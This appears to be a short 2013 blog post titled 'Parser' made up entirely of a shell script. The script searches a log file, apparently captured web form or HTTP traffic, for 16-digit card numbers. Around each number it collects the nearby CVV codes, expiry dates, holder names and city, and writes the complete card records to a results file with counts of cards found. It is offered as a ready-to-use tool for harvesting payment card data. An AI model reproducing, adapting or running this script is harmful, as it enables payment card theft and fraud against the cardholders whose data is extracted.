21 мая 2013 г.

Parser


#!/bin/sh

if [ $# -lt 1 ]; then
    echo "Run ./script.sh <log_file>"
    exit 2
fi

base_cc="/tmp/base_cc.txt"
log=$1
result="/tmp/result.txt"

rm $result

cc=`cat $log | grep -En "accnt=|Num|um=|er=|ard=|identifier=|ACCT=|ccno=" | grep -Ev "http|@|%|;|com|Thank|Cook" | grep "=[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]" > $base_cc`

sleep 1

IN=`cat $base_cc | sed "s/:[^:]*$//g"`

CVV="vv|sec|verif|CardID|Secur|ccid|cbb|cvm=|vcode=|cvNum|csc=|card_code|CardVe|cardvN|cvn=|VerificationNumber=|ccv=|cv2=|cid=|cvc|cvmNum|txtcscode|csv|card_pin|cardpin|cccode|cardcode|cccvd|CvsNo|sec_code|SecurityCode"
EXP="onth|ear|ExpMN|ExpYR|ccexp=|exp_m|exp_y|mm=|yy=|xp_date=|mon=|month|expire|expirat|expm|expy"
HOLDER="name=|owner=|nameOn"
ZIP="zip"
COUNTRY="country="
CITY="city="
STREET="street"

for i in $(echo $IN); do 

min=`expr $i - 35`
max=`expr $i + 35`

res_cc=`cat $log | sed -n $i,$i'p' | sed "s/[^=]*\=/CC=/"`

res_cvv=`cat $log | sed -n $min,$max'p' | grep -Ei $CVV | grep -Ev "http|%|Cook|locid|SecureID|CreditCardId|ssn|year|mandator" | grep "=[0-9][0-9][0-9]" | sed "s/[^=]*\=/CVV=/" | xargs | tr -d $'\r' | sed 's/^\([^ ]*\) .*/\1/'`
if [ -z "$res_cvv" ]; then
    continue
else
res_exp=`cat $log | sed -n $min,$max'p' | grep -Ei $EXP | grep -Eiv "http|@|;|Thank|dob|dynamic|method|none|birth|apply|false|text|farerule|monthToPay|phon|mandator" | grep "=[A-Za-z0-9]" | sed "s/[^=]*\=//" | xargs | tr -d $'\r' | sed "s% %/%" | sed 's/^\([^ ]*\) .*/\1/'`
if [ -z "$res_exp" ]; then
    continue
else
#res_holder=`cat $log | sed -n $min,$max'p' | grep -Ei $HOLDER | grep -Eiv "Server|checkbox|insur|brand|http|@|;|Thank|dob|dynamic|method|none|birth|apply|false|text|farerule|monthToPay|phon|city|Please|country|state|adres" | grep -Ev "surname|givenname" | grep "=[A-Za-z]" | sed "s/[^=]*\=//" | uniq | xargs | tr -d $'\r' | tr '[A-Z]' '[a-z]' | awk '{if($2 == $3 || $1 == $3){print $1 " " $2} else{print $1 " " $2 " " $3}}'`
res_city=`cat $log | sed -n $min,$max'p' | grep -Ei $CITY | grep -Eiv "Referer"`
    echo "###############BEGIN#################" >> $result
    res_cc=`cat $log | sed -n $i,$i'p' | sed "s/[^=]*\=/CC=/"`
    echo $res_cc >> $result
    echo $res_cvv >> $result
    echo $res_exp >> $result
#    echo $res_holder >> $result
    echo $res_city >> $result
    echo "#################END#################" >> $result
fi
fi
done


find_cc=`cat $base_cc | sed "s/[^=]*\=//" | sort | uniq | wc -l`
CVV_CC=`cat $result | grep CC | sort | uniq | wc -l`
echo "#######OK########"
echo "___RESULT: "$result
echo "_______CC: "$find_cc
echo "___CC+CVV: "$CVV_CC
echo "#################"

rm $base_cc